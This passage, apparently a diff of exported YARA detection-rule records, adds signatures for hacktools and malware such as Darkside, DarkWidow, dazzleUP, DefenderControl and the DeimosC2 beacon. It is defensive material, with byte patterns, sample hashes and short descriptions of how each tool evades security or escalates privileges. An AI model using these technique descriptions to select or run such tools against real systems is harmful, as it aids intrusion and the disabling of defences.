4? 8b ?? 10                 // mov     rax, qword [rbx+0x10]\n            4? 8b ??                    // mov     ecx, r9d\n            4? ff ??                    // inc     r9d\n            4? (01|02|03|04|05) ??      // add     r8, rcx\n            4? (01|02|03|04|05) ??      // add     rdx, rcx\n            4? 8b ?? 30                 // mov     rcx, qword [rbx+0x30]\n            4? 0f b? ?? ??              // movzx   eax, byte [r8+rax]\n            [2-4]                       // mov     byte [rdx+rcx], al\n            4? 3b ??                    // cmp     r9d, dword [r10]\n        }\n\n        $stub_mapview_02 = {\n            4? 8b ?? 30                 // mov     rcx, qword [rbx+0x30]\n            4? 8d ?? b0 00 00 00        // lea     rax, [rdi+0xb0]\n            4? 8b ??                    // mov     r10, rcx\n            4? 2b ?? 30                 // sub     r10, qword [rdi+0x30]\n        }\n\n        $stub_mapview_03 = {\n            6? (c1|c0) ?? 0c            // shr     dx, 0xc\n            6? 83 ?? 0a                 // cmp     dx, 0xa\n            [2-4]                       // jne     0x140001f4a\n            4? 8b ??                    // mov     eax, dword [r8]\n            ?? ?? ff 0f 00 00           // and     ecx, 0xfff\n            4? (01|02|03|04|05) ??      // add     rcx, rax\n            4? 8b ?? 30                 // mov     rax, qword [rbx+0x30]\n            4? (01|02|03|04|05) ?? ??   // add     qword [rcx+rax], r10\n            [2-4]                       // jmp     0x140001f9a\n            6? 83 ?? 03                 // cmp     dx, 0x3\n            [2-4]                       // jne     0x140001f60\n            4? 8b ??                    // mov     edx, dword [r8]\n            ?? ff 0f 00 00              // and     eax, 0xfff\n            4? (01|02|03|04|05) ??      // add     rdx, rax\n            4? 8b ??                    // mov     eax, r10d\n            [2-4]                       // jmp     0x140001f92\n            6? 83 ?? 01                 // cmp     dx, 0x1\n            [2-4]                       // jne     0x140001f7d\n            4? 8b ??                    // mov     edx, dword [r8]\n            ?? ff 0f 00 00              // and     eax, 0xfff\n            4? (01|02|03|04|05) ??      // add     rdx, rax\n            4? 8b ??                    // mov     rax, r10\n            4? (c1|c0) ?? 10            // shr     rax, 0x10\n            0f b? ??                    // movzx   eax, ax\n            [2-4]                       // jmp     0x140001f92\n            6? 83 ?? 02                 // cmp     dx, 0x2\n            [2-4]                       // jne     0x140001f9a\n            4? 8b ??                    // mov     edx, dword [r8]\n            ?? ff 0f 00 00              // and     eax, 0xfff\n        }\n\n    condition:\n        1 of ($stub_hashSW2*)\n        or 3 of ($stub_mapview*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "darkloadlibrary"
+  ],
+  "rule_creation_date": "2024-03-08",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.DarkLoadLibrary"
+  ],
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055.001"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-darkside_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.571057Z",
+  "creation_date": "2026-03-23T11:46:25.571059Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.571065Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/ph4nt0mbyt3/Darkside/\nhttps://www.loldrivers.io/drivers/e0e93453-1007-4799-ad02-9b461b7e0398/\nhttps://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "darkside.yar",
+  "content": "rule darkside {\n    meta:\n        title = \"Darkside HackTool\"\n        id = \"5c89c206-6f3f-4b01-88ea-4dcd7948a57e\"\n        description = \"Detects the Darkside hacktool, a tool that leverages the TrueSight.sys vulnerable driver to kill protected processes.\\nDarkside loads the TrueSight.sys driver and utilizes its functionality to terminate specified processes. The tool is designed to bypass process protection mechanisms by leveraging this driver-based approach.\\nIt is recommended to investigate for any unusual activity related to the TrueSight.sys driver, particularly focusing on attempts to bypass security solutions.\"\n        references = \"https://github.com/ph4nt0mbyt3/Darkside/\\nhttps://www.loldrivers.io/drivers/e0e93453-1007-4799-ad02-9b461b7e0398/\\nhttps://attack.mitre.org/techniques/T1562/001/\"\n        date = \"2024-02-21\"\n        modified = \"2025-03-06\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1562.001;attack.t1211\"\n        classification = \"Windows.HackTool.Darkside\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // b07ce632ceb1e6f4759de13b538668a8a2afd13f20e17e9f5c15123b4c4823b9\n\n        $device = \"\\\\\\\\.\\\\TrueSight\" wide ascii\n        $winapi_01 = \"CreateFile\" wide ascii\n        $winapi_02 = \"DeviceIoControl\" wide ascii\n        $winapi_03 = \"GetProcessById\" wide ascii\n        $winapi_04 = \"GetProcessesByName\" wide ascii\n        $ioctl_kill = { (44 E0 22|22 E0 44) }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "darkside"
+  ],
+  "rule_creation_date": "2024-02-21",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.Darkside"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001",
+    "attack.t1211"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-darkwidow_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.570729Z",
+  "creation_date": "2026-03-23T11:46:25.570731Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.570737Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/reveng007/DarkWidow\nhttps://attack.mitre.org/techniques/T1055/004/\nhttps://attack.mitre.org/techniques/T1134/004/\nhttps://attack.mitre.org/techniques/T1106/\nhttps://attack.mitre.org/techniques/T1562/002/"
+  ],
+  "name": "darkwidow.yar",
+  "content": "rule darkwidow {\n    meta:\n        title = \"DarkWidow HackTool\"\n        id = \"bbb699ba-6e45-43dc-ac89-6ad0e2f7b730\"\n        description = \"Detects DarkWidow, a post-exploitation tool specialized in defense evasion.\\nDarkWidow is a malicious tool designed to evade detection and persistence in a compromised system. It injects its payload into remote processes and employs various evasion techniques such as indirect system calls and process parent ID spoofing. Additionally, it can disable specific event logs to cover its tracks and avoid being detected by monitoring tools.\\nIt is recommended to investigate for any additional malicious activity or related processes.\"\n        references = \"https://github.com/reveng007/DarkWidow\\nhttps://attack.mitre.org/techniques/T1055/004/\\nhttps://attack.mitre.org/techniques/T1134/004/\\nhttps://attack.mitre.org/techniques/T1106/\\nhttps://attack.mitre.org/techniques/T1562/002/\"\n        date = \"2024-03-05\"\n        modified = \"2025-03-06\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1055.004;attack.t1134.004;attack.t1562.002\"\n        os = \"Windows\"\n        classification = \"Windows.HackTool.DarkWidow\"\n        context = \"process,memory,thread,file.pe\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 11b28209ca98f3a653c6ef4c23885165457affd52a7c28b6500a75c72a15d159\n\n        $s_apihash00 = { FC FC 06 BE 7B CD D1 4F } // djb2(ntdll.dll)\n        $s_apihash01 = { 41 07 6F 48 BA C2 A3 68 } // djb2(NtWriteVirtualMemory)\n        $s_apihash02 = { 67 02 1A 92 9F ED 73 70 } // djb2(NtQueueApcThread)\n        $s_apihash03 = { E7 F6 91 52 1F CA 8C 71 } // djb2(NtOpenProcess)\n        $s_apihash04 = { 34 77 34 77 34 77 34 77 } // hellsgate like constant for djb2\n        $s_apihash05 = { 37 6A FB 46 10 CB 8B 85 } // djb2(NtProtectVirtualMemory)\n        $s_apihash06 = { 9B B8 A6 80 34 37 BD F5 } // djb2(NtAllocateVirtualMemory)\n\n        $s_stub_getdll = {\n            65 48 8B 04 25 30 [0-3]     // mov  rax, gs:30h\n            48 8B ?? 30                 // mov  rcx, [rax+30h]\n            4C 8B ?? 60                 // mov  r12, [rcx+60h]\n        }\n\n    condition:\n        4 of ($s_apihash*) and $s_stub_getdll\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "darkwidow"
+  ],
+  "rule_creation_date": "2024-03-05",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.DarkWidow"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1134.004",
+    "attack.t1562.002",
+    "attack.t1055.004"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-dazzleup_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.568069Z",
+  "creation_date": "2026-03-23T11:46:25.568071Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.568076Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/hlldz/dazzleUP\nhttps://twitter.com/malmoeb/status/1742209997709185339\nhttps://attack.mitre.org/techniques/T1068/"
+  ],
+  "name": "dazzleup.yar",
+  "content": "rule dazzleup {\n    meta:\n        title = \"dazzleUP HackTool\"\n        id = \"3cc94bcb-751c-44d2-b686-45b81ef4851f\"\n        description = \"Detects the dazzleUP HackTool.\\nDazzleUP is a tool designed to identify privilege escalation vulnerabilities in Windows systems due to misconfigurations or outdated updates.\\nAttackers can use this tool to gain elevated system permissions during the post exploitation phase.\"\n        references = \"https://github.com/hlldz/dazzleUP\\nhttps://twitter.com/malmoeb/status/1742209997709185339\\nhttps://attack.mitre.org/techniques/T1068/\"\n        date = \"2024-01-03\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1068;attack.t1543.003;attack.t1574\"\n        classification = \"Windows.HackTool.dazzleUP\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 66437e19186377c0ce0314a271ed8064a9ac1c58cf781c3b207b8c44cd2f0e7b\n        // bbe104f402a6c02e5cf38f18245c5f0fa50a48a098f7ff136a0189ef28eaca97\n        // bdd8493bc9a1be6b5018c949bd3fc60831b83e0c97ff31933a0e9516a25947a2\n\n        $s1 = \"Author     : Halil Dalabasmaz\" ascii\n        $s2 = \"- AccessCheck FAILED! -\" fullword ascii\n        $s3 = \"[!] NOTE: Current user is in a local group that grants administrative privileges! Use UAC Bypass attacks to elevate privileges to admin.\" fullword ascii\n        $s4 = \"[*] Token Privileges:\" fullword ascii\n        $s5 = \"[*] Checking for privileges escalation exploits...\" fullword ascii\n        $s6 = \"[!] Cannot checking updates beacuse Windows Update Agent API not working properly...\" fullword ascii\n        $s7 = \"[!] Vulnerable for CVE-2019-0836 Windows Elevation of Privilege Vulnerability\" ascii\n        $s8 = \"Always Install Elevated User:\t Vulnerable\" ascii\n        $s9 = \"\\\\Panther\\\\Unattend\\\\Unattended.xml\" fullword ascii\n        $s10 = \"---========== EXPLOIT CHECKS ==========---\" ascii\n\n    condition:\n        5 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "dazzleup"
+  ],
+  "rule_creation_date": "2024-01-03",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.dazzleUP"
+  ],
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1543.003",
+    "attack.t1068",
+    "attack.t1574"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-defender_control_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.571164Z",
+  "creation_date": "2026-03-23T11:46:25.571166Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.571172Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-284a\nhttps://www.sordum.org/9480/defender-control-v2-1/"
+  ],
+  "name": "defender_control.yar",
+  "content": "import \"pe\"\nimport \"math\"\n\nrule defender_control {\n    meta:\n        title = \"DefenderControl Tool\"\n        id = \"408fcdd0-ce25-40c7-86d1-a11b62546885\"\n        description = \"Detects DefenderControl, a free tool developed by Sordum Software.\\nThis tool is designed to disable Windows Defender and has been linked with the Snatch Ransomware group, which uses it to bypass defender mechanisms.\\nIt is recommended to check for the presence of associated malicious files or actions.\"\n        references = \"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-284a\\nhttps://www.sordum.org/9480/defender-control-v2-1/\"\n        date = \"2023-08-28\"\n        modified = \"2025-03-06\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1562.001\"\n        classification = \"Windows.Tool.DefenderControl\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // a201f7f81277e28c0bdd680427b979aee70e42e8a98c67f11e7c83d02f8fe7ae\n        // 92e16530dea1a805fa6604ec4e4319114aea3024b8cb4c08acf562d59c0ff0c0\n\n        $s = \"Windows Defender Control\" wide ascii\n\n    condition:\n        (\n            math.entropy(pe.overlay.offset, pe.overlay.size) > 7.9\n            and $s in (pe.overlay.offset..(pe.overlay.offset + pe.overlay.size))\n        )\n        or pe.version_info[\"FileDescription\"] == \"Windows Defender Control\"\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "defender_control"
+  ],
+  "rule_creation_date": "2023-08-28",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.DefenderControl"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-deimos_beacon_elfx64_obfs_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.586205Z",
+  "creation_date": "2026-03-23T11:46:25.586207Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.586213Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/DeimosC2/DeimosC2"
+  ],
+  "name": "deimos_beacon_elfx64_obfs.yar",
+  "content": "rule deimos_obfs_6250b5c666ed {\n    meta:\n        title = \"Obfuscated DeimosC2 Beacon (6250b5c666ed)\"\n        id = \"d2519ecd-9ab2-4047-a1f7-6250b5c666ed\"\n        description = \"Detects the DeimosC2 Linux C2 beacon, a post-exploitation tool used for command and control.\\nDeimosC2 is a post-exploitation Command & Control (C2) tool that establishes persistence on compromised systems and communicates with its command server using various protocols. It is capable of executing system commands, gathering information, and maintaining persistence on the infected machine.\\nIt is recommended to review system logs for any signs of unauthorized access and isolate the affected machine from the network. Additionally, consider scanning the system for other potential malicious files or processes that may have been executed alongside this beacon.\"\n        references = \"https://github.com/DeimosC2/DeimosC2\"\n        date = \"2022-11-14\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027;attack.command_and_control;attack.t1573;attack.t1068\"\n        classification = \"Linux.Framework.Deimos\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 1ff0484c33bfad219d791fa68d609b98d66a178e6c85c18c800c229793da9332\n\n        $shell_prep_obfuscated = {\n            48 83 EC 50                                   // sub     rsp, 50h\n            48 89 6C 24 ??                                // mov     [rsp+50h+var_8], rbp\n            48 8D 6C 24 ??                                // lea     rbp, [rsp+50h+var_8]\n            48 B8 ?? ?? ?? ?? ?? ?? ?? ??                 // mov     rax, 0F8DD37AA87FF684Ah\n            48 89 44 24 ??                                // mov     [rsp+50h+var_18], rax\n            48 B8 ?? ?? ?? ?? ?? ?? ?? ??                 // mov     rax, 96B468C1E49A0029h\n            48 89 44 24 ??                                // mov     [rsp+50h+var_20], rax\n            48 ?? 44 24 ?? 00 00 00 00                    // mov     [rsp+50h+var_10], 0\n            31 C0                                         // xor     eax, eax\n        }\n\n        $logger_prep_obfuscated = {\n            48 83 EC 20                                   // sub     rsp, 20h\n            48 89 6C 24 ??                                // mov     [rsp+20h+var_8], rbp\n            48 8D 6C 24 ??                                // lea     rbp, [rsp+20h+var_8]\n            F2 0F 10 ?? 24 ??                             // movsd   xmm0, [rsp+20h+arg_8]\n            F2 0F 10 ?? 24 ??                             // movsd   xmm1, [rsp+20h+arg_0]\n            F2 0F 59 C1                                   // mulsd   xmm0, xmm1\n            0F 10 D1                                      // movups  xmm2, xmm1\n            F2 0F 5C C8                                   // subsd   xmm1, xmm0\n            F2 0F 58 C2                                   // addsd   xmm0, xmm2\n            F2 0F ?? ?? ?? ?? ?? ??                       // movsd   xmm2, cs:qword_89F2C0\n            66 0F 2E D1                                   // ucomisd xmm2, xmm1\n        }\n\n        $gobfuscated = {\n            48 83 EC 48                                   // sub     rsp, 48h\n            48 89 6C 24 ??                                // mov     [rsp+48h+var_C+4], rbp\n            48 8D 6C 24 ??                                // lea     rbp, [rsp+48h+var_C+4]\n            C7 44 24 ?? ?? ?? ?? ??                       // mov     [rsp+48h+var_10], 0FB6D3082h\n            C7 44 24 ?? ?? ?? ?? ??                       // mov     [rsp+48h+var_14], 8F045EEBh\n            C7 44 24 ?? 00 00 00 00                       // mov     dword ptr [rsp+48h+var_C], 0\n            31 C0                                         // xor     eax, eax\n        }\n\n    condition:\n        uint16(0) == 0x457f and (\n            ($shell_prep_obfuscated)\n            or ($gobfuscated)\n            or ($logger_prep_obfuscated)\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "deimos_obfs_6250b5c666ed"
+  ],
+  "rule_creation_date": "2022-11-14",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Framework.Deimos"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1573",
+    "attack.t1027",
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-deimos_beacon_elfx64_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.563914Z",
+  "creation_date": "2026-03-23T11:46:25.563916Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.563922Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/DeimosC2/DeimosC2"
+  ],
+  "name": "deimos_beacon_elfx64.yar",
+  "content": "rule deimos_ef9e5f57c358 {\n    meta:\n        title = \"DeimosC2 Beacon (ef9e5f57c358)\"\n        id = \"dc49e645-12f7-4264-a698-ef9e5f57c358\"\n        description = \"Detects the DeimosC2 Linux C2 beacon, a post-exploitation tool used for command and control.\\nDeimosC2 is a post-exploitation Command & Control (C2) tool that establishes persistence on compromised systems and communicates with its command server using various protocols. It is capable of executing system commands, gathering information, and maintaining persistence on the infected machine.\\nIt is recommended to review system logs for any signs of unauthorized access and isolate the affected machine from the network. Additionally, consider scanning the system for other potential malicious files or processes that may have been executed alongside this beacon.\"\n        references = \"https://github.com/DeimosC2/DeimosC2\"\n        date = \"2022-11-14\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027;attack.command_and_control;attack.t1573;attack.t1068\"\n        classification = \"Linux.Framework.Deimos\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 05e9fe8e9e693cb073ba82096c291145c953ca3a3f8b3974f9c66d15c1a3a11d\n\n        $general_1 = \"github.com/DeimosC2/DeimosC2/agents/resources/fingerprint/fingerprint_linux.go\" fullword ascii\n        $general_2 = \"github.com/DeimosC2/DeimosC2/agents/resources/agentfunctions.KillNetList\" fullword ascii\n        $general_3 = \"github.com/DeimosC2/DeimosC2/lib/privileges/isadmin_linux.go\" fullword ascii\n        $general_4 = \"github.com/DeimosC2/DeimosC2/agents/resources/selfdestruction/kill_linux.go\" fullword ascii\n\n        $shell_1 = \"/bin/bash\" ascii\n        $shell_2 = \"/bin/sh\" ascii\n\n        $stat_shell_1 = {\n            48 89 74 24 ??                                // mov     [rsp+2B8h+var_240], rsi\n            48 89 ?? 24 ?? ?? ?? ??                       // mov     [rsp+2B8h+var_1E0], rbx\n            48 8D ?? ?? ?? ?? ??                          // lea     rax, aBinBash   ; \"/bin/bash\"\n            48 89 ?? 24                                   // mov     [rsp+2B8h+var_2B8.ptr], rax ; __int64\n            48 C7 44 24 ?? 09 ?? ?? ??                    // mov     [rsp+2B8h+var_2B8.len], 9 ; __int64\n            E8 ?? ?? ?? ??                                // call    os_Stat\n            48 8B 44 24 ??                                // mov     rax, [rsp+2B8h+var_290]\n            48 8B 4C 24 ??                                // mov     rcx, [rsp+2B8h+var_298]\n            48 85 C9                                      // test    rcx, rcx\n        }\n\n        $stat_shell_2 = {\n            48 C1 E1 04                                   // shl     rcx, 4\n            48 C7 44 ?? ?? 07 00 00 00                    // mov     qword ptr [rax+rcx+8], 7\n            48 8D 3C 08                                   // lea     rdi, [rax+rcx]\n            83 3D ?? ?? ?? 00 00                          // cmp     cs:dword_B59FC0, 0\n            0F ?? ?? ?? ?? ??                             // jnz     loc_74CB8B\n            48 8D ?? ?? ?? ?? 00                          // lea     rsi, aBinSh1953125 ; \"/bin/sh1953125\"\n            48 89 34 08                                   // mov     [rax+rcx], rsi\n        }\n\n        $fingerprinting = {\n            48 89 5C 24 ??                                // mov     [rsp+2B8h+var_268], rbx\n            48 89 54 24 ??                                // mov     [rsp+2B8h+var_270], rdx\n            48 89 84 24 ?? ?? ?? ??                       // mov     [rsp+2B8h+var_1B8], rax\n            E8 ?? ?? ?? ??                                // call    github_com_DeimosC2_DeimosC2_lib_privileges_AdminOrElevated\n            0F ?? ?? 24                                   // movzx   eax, byte ptr [rsp+2B8h+var_2B8.ptr]\n            88 44 24 ??                                   // mov     [rsp+2B8h+var_271], al\n            0F ?? 4C 24 01                                // movzx   ecx, byte ptr [rsp+2B8h+var_2B8.ptr+1]\n            88 4C 24 ??                                   // mov     [rsp+2B8h+var_272], cl\n            E8 ?? ?? ?? ??                                // call    github_com_DeimosC2_DeimosC2_agents_resources_fingerprint_FingerPrint\n        }\n\n        $agent_shellfunc = {\n            48 83 FE 01                                   // cmp     rsi, 1\n            0F ?? ?? ?? ?? ??                             // jl      loc_74D4A2\n            4C 8D 4E FF                                   // lea     r9, [rsi-1]\n            48 89 F2                                      // mov     rdx, rsi\n            4C 29 CE                                      // sub     rsi, r9\n            49 89 F2                                      // mov     r10, rsi\n            48 F7 DE                                      // neg     rsi\n            48 C1 FE 3F                                   // sar     rsi, 3Fh\n            4C 21 CE                                      // and     rsi, r9\n            4C 01 C6                                      // add     rsi, r8\n            49 83 FA 01                                   // cmp     r10, 1\n            0F ?? ?? ?? ?? ??                             // jz      loc_74D45F\n            31 C0                                         // xor     eax, eax\n        }\n\n        $shell_execute = {\n            48 8B ?? 24 ?? 00 00 00                       // mov     rax, [rsp+80h+arg_0]\n            48 89 ?? 24                                   // mov     [rsp+80h+var_80], rax ; __int64\n            48 8B ?? 24 ?? 00 00 00                       // mov     rax, [rsp+80h+arg_8]\n            48 89 ?? 24 ??                                // mov     